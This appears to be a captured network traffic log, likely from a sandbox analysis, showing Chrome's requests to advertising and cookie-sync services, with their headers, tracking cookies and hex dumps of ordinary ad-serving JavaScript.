2024-04-27 22:42:12 UTC	825	OUT	GET /async_usersync?cbfn=queuePixels&seller_id=7911&pub_id=2023142&gdpr=0 HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://acdn.adnxs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
2024-04-27 22:42:12 UTC	1278	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:12 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 707a07bc-e4db-412e-b6b2-45dbd2e11ae9 Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:12 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:12 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:12 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.4	50228	207.65.37.184	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:12 UTC	1017	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=1476058396850158061&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223
2024-04-27 22:42:12 UTC	614	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:12 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 26-Jul-2024 22:42:12 GMT; path=/ Set-Cookie: PugT=1714257732; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:12 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:12 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.4	50224	52.7.87.144	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:12 UTC	752	OUT	GET /d/sync/cookie/generic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=${ADELPHIC_CUID}&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.ipredictive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:12 UTC	549	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Sat, 27 Apr 2024 22:42:12 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=f10e083f-54cc-4ce5-aa07-8210352e586a&gdpr=0&gdpr_consent= Set-Cookie: cu=f10e083f-54cc-4ce5-aa07-8210352e586a\|1714257732290; Path=/; Domain=ipredictive.com; Expires=Sun, 27 Apr 2025 22:42:12 GMT; Max-Age=31536000; SameSite=None; Secure X-CI-RTID: cb1434d5-4790-4048-b599-98bb6d13f688 Content-Length: 205 Connection: Close
2024-04-27 22:42:12 UTC	205	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 71 63 7a 30 78 4a 6d 4e 76 5a 47 55 39 4d 7a 49 31 4d 43 5a 30 62 44 30 78 4d 6a 6b 32 4d 44 41 3d 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 66 31 30 65 30 38 33 66 2d 35 34 63 63 2d 34 63 65 35 2d 61 61 30 37 2d 38 32 31 30 33 35 32 65 35 38 36 61 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=f10e083f-54cc-4ce5-aa07-8210352e586a&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.4	50235	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:12 UTC	1625	OUT	GET /pcs/view?xai=AKAOjsskQ6EZyreK4K8S0J1ej0fNlPennI5j5-NigWwmCzS8WWXDvPpSHl2KXfsPd0X7UCX22oqQy_kXGF3zCDRtnxLfPLAGd_bNLLKv_lmjr_ZLXkj0FZp6n2FVXk5FkFGoM0sx5fXaFiZ5F-mxs25bjwuLxcorj8FgqsxH6tCiRZdn_d01YEN3Z2J4TFbjZEnnsK35ea10hpVOoCCUTA&sai=AMfl-YQGJN2OVyvyfGKBjwZ1njq3q61O2qmlyUbvqzCpWOGRw3J9HgFEVjJvrIbRhcDRkwvWOD-3ExH3udbIDPOjIsQXn7wSlIK012w-dQ&sig=Cg0ArKJSzBtQBb5fJ2bvEAE&uach_m=%5BUACH%5D&cry=1&crd=aHR0cHM6Ly9ob25kYWRlYWxlcnMuY29t&fbs_aeid=%5Bgw_fbsaeid%5D&urlfix=1&omid=0&rm=1&ctpt=141&cbvp=1&cstd=136&cisv=r20240424.72996&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&arae=1&ftch=1&adurl= HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Attribution-Reporting-Eligible: event-source;trigger Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:12 UTC	1576	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/png Attribution-Reporting-Register-Source: {"aggregation_keys":{"12":"0x98c0f367b8d2d33b0000000000000000","16":"0x5c605cba8d39f8290000000000000000","17":"0xb463bc8ebcadd360000000000000000","18":"0xfec0c851396345430000000000000000"},"debug_key":"191789341839172318","debug_reporting":true,"destination":["https://hondadealers.com","https://debugconversiondomain1.com","https://debugconversiondomain2.com"],"event_report_windows":{"end_times":[86400,604800,2592000]},"expiry":"2592000","filter_data":{"14":[],"21":[],"8":["13690149"]},"max_event_level_reports":2,"priority":"0","source_event_id":"14815487457039553785"} X-Content-Type-Options: nosniff Date: Sat, 27 Apr 2024 22:42:12 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Mon, 27-May-2024 22:42:12 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Expires: Sat, 27 Apr 2024 22:42:12 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.4	50233	142.251.167.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:12 UTC	5460	OUT	GET /dbm/ad?dbm_c=AKAmf-AoG7ONKnY8wVhsKpft1Y_lXQGawmGEWdc219RU61d41FKrFppdqB9_LV8qVn0OMuW1F4ky1I47ZSCGst4pJJhCFFCYLy4RSWmAExMLZpLg_WRhmRwP4j6yztXyrfKZWOfooX7HN3nn4pIjU0x8FKGufleQ1eUwxji302-qYafj9BvwofgExh4-ir_pUzu6hEyTe0z2DH9vAmI7o_kV6i_sgfKMUwM2_D3DHxbRClTAFqdb9Sc&cry=1&dbm_d=AKAmf-BzRQQYNuo1exB43Fv8nGRQMPGfCL_8BJ_qnUDzCLo_kWd3j7UDLGzy36JiqAD2ID-E2-d7H4VHJ6hKijKLk0AweGi0Pr4b3mNQPQLWJgV_Ex3_sw9U1xFixjnfZUc13WQvEyXPL1WFnGcIzoOiZZUGv2w6lFaItEsVuviwJ4kS8Q8x6fUJVtoGvvcIieXwxlrjYZ7TH-ZU7errWrC5mtqoXftU92TOJK9LL_QELe-361VyjgL9tj76Z04tkBKuRXDHhWj_IaxViRI5FQa7RtFVp8gHsLjlW8f_oeyMg7sp07SRhA8vYIP3ietvGB9iPi_ZJoYkdRaOpLwIurcb2FKjbe_McgwE2pkQscF1WiizZSwbLN-yDbhD7tzs35Q0DquxvA3reCRpdBBGsKFeaq57N_e8L1h7svykJeeLlMqKtPaXWGuB5oY6cP8blQTtetKJ20K-2vdUYwce7rwene4wYzCw8448_-ezXcEWwrk91vqY4qw3XBo97M0HgJ4vyU6nW3bO6TZscwvuWV88ksY3uRkiHlCsCzgO0dJx5PTIPvrEwCCGNI4QvIgkkMtLNZG5cK8zE70Y2LwinSTRa67CS2zasb0_aggxmgZTGwFMXzsHpreQOENyyU8DjeTkTWQFi82XbwIc6ZhKY-hS5mVRm6JAnSQJLcIu-dRng3FZtvEN7x9g87IW6Au7h6q2zxovOz6RI31Q2QTajB65WzioLkb-dPELuNHoMZ [TRUNCATED] Host: googleads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:12 UTC	703	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Sat, 27 Apr 2024 22:42:12 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-27 22:42:12 UTC	552	IN	Data Raw: 37 32 35 38 0d 0a 69 66 20 28 21 77 69 6e 64 6f 77 2e 6d 72 61 69 64 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 5c 78 33 63 64 69 76 20 69 64 3d 22 61 64 5f 75 6e 69 74 22 5c 78 33 65 27 29 3b 7d 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 5c 78 33 63 73 74 79 6c 65 5c 78 33 65 64 69 76 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 7d 2e 61 62 67 63 70 7b 68 65 69 67 68 74 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 39 70 78 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 33 70 78 3b 72 69 67 68 74 3a 30 70 78 3b 74 6f 70 3a 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a Data Ascii: 7258if (!window.mraid) {document.write('\x3cdiv id="ad_unit"\x3e');}document.write('\x3cstyle\x3ediv{margin:0;padding:0;}.abgcp{height:15px;padding-right:1px;padding-top:1px;padding-left:9px;padding-bottom:13px;right:0px;top:0px;position:absolute;width:
2024-04-27 22:42:12 UTC	1255	IN	Data Raw: 3b 77 69 64 74 68 3a 31 35 70 78 3b 7a 2d 69 6e 64 65 78 3a 32 31 34 37 34 38 33 36 34 36 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 66 66 66 3b 6f 70 61 63 69 74 79 3a 30 3b 7d 2e 63 62 62 20 73 76 67 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 72 69 67 68 74 3a 30 3b 68 65 69 67 68 74 3a 31 35 70 78 3b 77 69 64 74 68 3a 31 35 70 78 3b 73 74 72 6f 6b 65 3a 23 30 30 61 65 63 64 3b 66 69 6c 6c 3a 23 30 30 61 65 63 64 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 32 35 3b 7d 2e 61 62 67 62 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 31 36 70 78 3b 74 6f 70 3a 30 70 78 3b 7d 2e 63 62 62 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 30 70 78 3b Data Ascii: ;width:15px;z-index:2147483646;background-color:#ffffff;opacity:0;}.cbb svg{position:absolute;top:0;right:0;height:15px;width:15px;stroke:#00aecd;fill:#00aecd;stroke-width:1.25;}.abgb{position:absolute;right:16px;top:0px;}.cbb{position:absolute;right:0px;
2024-04-27 22:42:12 UTC	1255	IN	Data Raw: 32 4d 34 2e 32 2c 31 31 2e 33 51 33 2e 33 2c 31 31 2e 38 2c 33 2e 33 2c 31 30 2e 37 35 4c 33 2e 33 2c 34 2e 31 51 33 2e 33 2c 33 2e 31 2c 34 2e 33 2c 33 2e 35 4c 31 30 2e 34 2c 37 2e 30 51 31 32 2e 30 2c 37 2e 35 2c 31 30 2e 34 2c 38 2e 30 4c 36 2e 36 35 2c 31 30 2e 30 4c 36 2e 36 35 2c 37 2e 37 35 61 30 2e 36 35 2c 30 2e 36 35 2c 30 2c 31 2c 30 2c 2d 31 2e 33 2c 30 4c 35 2e 33 35 2c 31 30 2e 37 35 61 30 2e 39 2c 30 2e 39 2c 30 2c 30 2c 30 2c 31 2e 33 2c 30 2e 38 4c 31 32 2e 37 2c 38 2e 32 51 31 33 2e 37 2c 37 2e 35 2c 31 32 2e 37 2c 36 2e 37 4c 33 2e 33 2c 31 2e 36 51 32 2e 32 2c 31 2e 33 2c 31 2e 38 2c 32 2e 35 4c 31 2e 38 2c 31 32 2e 35 51 32 2e 32 2c 31 33 2e 39 2c 33 2e 33 2c 31 33 2e 33 4c 34 2e 38 2c 31 32 2e 35 41 30 2e 33 2c 30 2e 33 2c 30 2c 31 Data Ascii: 2M4.2,11.3Q3.3,11.8,3.3,10.75L3.3,4.1Q3.3,3.1,4.3,3.5L10.4,7.0Q12.0,7.5,10.4,8.0L6.65,10.0L6.65,7.75a0.65,0.65,0,1,0,-1.3,0L5.35,10.75a0.9,0.9,0,0,0,1.3,0.8L12.7,8.2Q13.7,7.5,12.7,6.7L3.3,1.6Q2.2,1.3,1.8,2.5L1.8,12.5Q2.2,13.9,3.3,13.3L4.8,12.5A0.3,0.3,0,1
2024-04-27 22:42:12 UTC	1255	IN	Data Raw: 68 49 44 49 59 63 70 67 31 59 70 34 33 4f 59 4b 43 66 2d 5f 61 75 6e 31 4e 37 56 6d 48 63 51 57 4a 57 77 77 33 48 68 64 4f 52 34 42 76 6d 34 4c 70 5f 42 57 70 44 72 42 78 4a 4b 70 76 64 64 67 4f 66 46 71 7a 61 48 4f 6c 4c 4e 66 51 35 45 6c 6f 6b 43 76 52 63 4b 6f 32 50 47 39 4f 4f 32 76 56 65 59 32 6d 36 53 70 38 51 4e 76 31 74 4e 4b 4b 68 5f 6a 67 75 70 76 74 77 59 71 65 49 4a 35 68 32 62 70 54 7a 79 67 6b 4c 43 41 5a 57 43 72 65 7a 57 73 59 58 6b 4e 7a 55 44 2d 7a 4d 4e 51 72 79 4d 38 74 31 61 56 6d 69 62 74 64 6f 71 74 75 57 4e 43 55 74 30 74 7a 58 71 77 64 33 39 72 5a 69 5a 70 79 34 78 36 70 53 70 34 44 4d 34 39 36 49 52 55 79 47 48 36 6c 4d 53 36 34 66 54 4b 5f 6b 65 34 47 30 5a 5f 68 6d 4f 59 6a 53 42 70 62 35 50 58 32 65 59 77 33 79 35 65 75 5a 76 Data Ascii: hIDIYcpg1Yp43OYKCf-_aun1N7VmHcQWJWww3HhdOR4Bvm4Lp_BWpDrBxJKpvddgOfFqzaHOlLNfQ5ElokCvRcKo2PG9OO2vVeY2m6Sp8QNv1tNKKh_jgupvtwYqeIJ5h2bpTzygkLCAZWCrezWsYXkNzUD-zMNQryM8t1aVmibtdoqtuWNCUt0tzXqwd39rZiZpy4x6pSp4DM496IRUyGH6lMS64fTK_ke4G0Z_hmOYjSBpb5PX2eYw3y5euZv
2024-04-27 22:42:12 UTC	1255	IN	Data Raw: 5c 78 32 32 62 75 74 74 6f 6e 5c 78 32 32 5c 78 33 65 5c 78 33 63 73 76 67 20 78 6d 6c 6e 73 5c 78 33 64 5c 78 32 32 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 5c 78 32 32 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 5c 78 33 64 5c 78 32 32 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 5c 78 32 32 20 76 69 65 77 42 6f 78 5c 78 33 64 5c 78 32 32 30 20 30 20 31 35 20 31 35 5c 78 32 32 5c 78 33 65 5c 78 33 63 70 61 74 68 20 64 5c 78 33 64 5c 78 32 32 4d 33 2e 32 35 2c 33 2e 32 35 6c 38 2e 35 2c 38 2e 35 4d 31 31 2e 37 35 2c 33 2e 32 35 6c 2d 38 2e 35 2c 38 2e 35 5c 78 32 32 2f 5c 78 33 65 5c 78 33 63 2f 73 76 67 5c 78 33 65 5c 78 33 63 2f 64 69 76 5c 78 33 65 5c 78 33 63 2f 64 69 76 5c 78 33 65 Data Ascii: \x22button\x22\x3e\x3csvg xmlns\x3d\x22http://www.w3.org/2000/svg\x22 xmlns:xlink\x3d\x22http://www.w3.org/1999/xlink\x22 viewBox\x3d\x220 0 15 15\x22\x3e\x3cpath d\x3d\x22M3.25,3.25l8.5,8.5M11.75,3.25l-8.5,8.5\x22/\x3e\x3c/svg\x3e\x3c/div\x3e\x3c/div\x3e
2024-04-27 22:42:12 UTC	1255	IN	Data Raw: 31 30 30 5c 78 32 32 20 72 5c 78 33 64 5c 78 32 32 33 30 5c 78 32 32 20 66 69 6c 6c 5c 78 33 64 5c 78 32 32 6e 6f 6e 65 5c 78 32 32 20 73 74 72 6f 6b 65 5c 78 33 64 5c 78 32 32 23 39 45 39 45 39 45 5c 78 32 32 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 5c 78 33 64 5c 78 32 32 33 5c 78 32 32 2f 5c 78 33 65 5c 78 33 63 2f 73 76 67 5c 78 33 65 5c 78 33 63 2f 64 69 76 5c 78 33 65 5c 78 33 63 2f 64 69 76 5c 78 33 65 5c 78 33 63 2f 64 69 76 5c 78 33 65 5c 78 33 63 73 63 72 69 70 74 20 64 61 74 61 2d 6a 63 5c 78 33 64 5c 78 32 32 36 30 5c 78 32 32 20 73 72 63 5c 78 33 64 5c 78 32 32 68 74 74 70 73 3a 2f 2f 70 61 67 65 61 64 32 2e 67 6f 6f 67 6c 65 73 79 6e 64 69 63 61 74 69 6f 6e 2e 63 6f 6d 2f 70 61 67 65 61 64 2f 6a 73 2f 72 32 30 32 34 30 34 32 34 2f 72 32 30 31 Data Ascii: 100\x22 r\x3d\x2230\x22 fill\x3d\x22none\x22 stroke\x3d\x22#9E9E9E\x22 stroke-width\x3d\x223\x22/\x3e\x3c/svg\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e\x3cscript data-jc\x3d\x2260\x22 src\x3d\x22https://pagead2.googlesyndication.com/pagead/js/r20240424/r201
2024-04-27 22:42:12 UTC	1255	IN	Data Raw: 67 6b 43 49 42 68 45 41 45 59 58 7a 49 43 69 67 49 36 43 59 42 41 67 4d 43 41 67 49 43 67 4b 45 69 39 5f 63 45 36 57 4f 61 6b 37 39 69 37 34 34 55 44 38 67 67 4e 59 6d 6c 6b 5a 47 56 79 4c 54 55 7a 4f 54 41 78 4f 49 41 4b 42 4a 67 4c 41 63 67 4c 41 59 41 4d 41 61 6f 4e 41 6c 56 54 73 42 50 30 7a 72 73 58 79 42 50 37 39 4f 72 6b 41 39 67 54 43 74 67 55 41 64 41 56 41 66 67 57 41 59 41 58 41 65 67 58 42 62 49 59 43 52 49 43 72 56 45 59 54 53 49 42 41 41 5c 5c 75 30 30 32 36 73 69 67 68 5c 78 33 64 38 4e 52 43 41 43 34 77 4b 55 67 5c 5c 75 30 30 32 36 63 69 64 5c 78 33 64 43 41 51 53 47 77 42 37 46 4c 74 71 58 4d 48 58 59 6a 61 5a 77 51 62 2d 5a 75 78 74 33 64 68 63 4b 4d 66 58 64 66 6f 62 78 52 67 42 5c 78 32 36 71 75 6f 74 3b 2c 5c 78 32 36 71 75 6f 74 3b Data Ascii: gkCIBhEAEYXzICigI6CYBAgMCAgICgKEi9_cE6WOak79i744UD8ggNYmlkZGVyLTUzOTAxOIAKBJgLAcgLAYAMAaoNAlVTsBP0zrsXyBP79OrkA9gTCtgUAdAVAfgWAYAXAegXBbIYCRICrVEYTSIBAA\\u0026sigh\x3d8NRCAC4wKUg\\u0026cid\x3dCAQSGwB7FLtqXMHXYjaZwQb-Zuxt3dhcKMfXdfobxRgB\x26quot;,\x26quot;
2024-04-27 22:42:12 UTC	1255	IN	Data Raw: 5c 78 32 36 71 75 6f 74 3b 68 74 74 70 73 3a 2f 2f 67 6f 6f 67 6c 65 61 64 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 61 67 65 61 64 2f 69 6d 61 67 65 73 2f 6d 74 61 64 2f 78 5f 62 6c 75 65 2e 70 6e 67 5c 78 32 36 71 75 6f 74 3b 2c 30 2c 5b 5b 5c 78 32 36 71 75 6f 74 3b 53 65 6e 64 20 66 65 65 64 62 61 63 6b 5c 78 32 36 71 75 6f 74 3b 2c 5b 5c 78 32 36 71 75 6f 74 3b 75 73 65 72 5f 66 65 65 64 62 61 63 6b 5f 6d 65 6e 75 5f 6f 70 74 69 6f 6e 5c 78 32 36 71 75 6f 74 3b 2c 5c 78 32 36 71 75 6f 74 3b 31 5c 78 32 36 71 75 6f 74 3b 2c 31 5d 2c 5b 5c 78 32 36 71 75 6f 74 3b 57 68 61 74 20 77 61 73 20 77 72 6f 6e 67 20 77 69 74 68 20 74 68 69 73 20 61 64 3f 5c 78 32 36 71 75 6f 74 3b 2c 5b 5b 5c 78 32 36 71 75 6f 74 3b 41 64 20 63 6f 76 65 72 Data Ascii: \x26quot;https://googleads.g.doubleclick.net/pagead/images/mtad/x_blue.png\x26quot;,0,[[\x26quot;Send 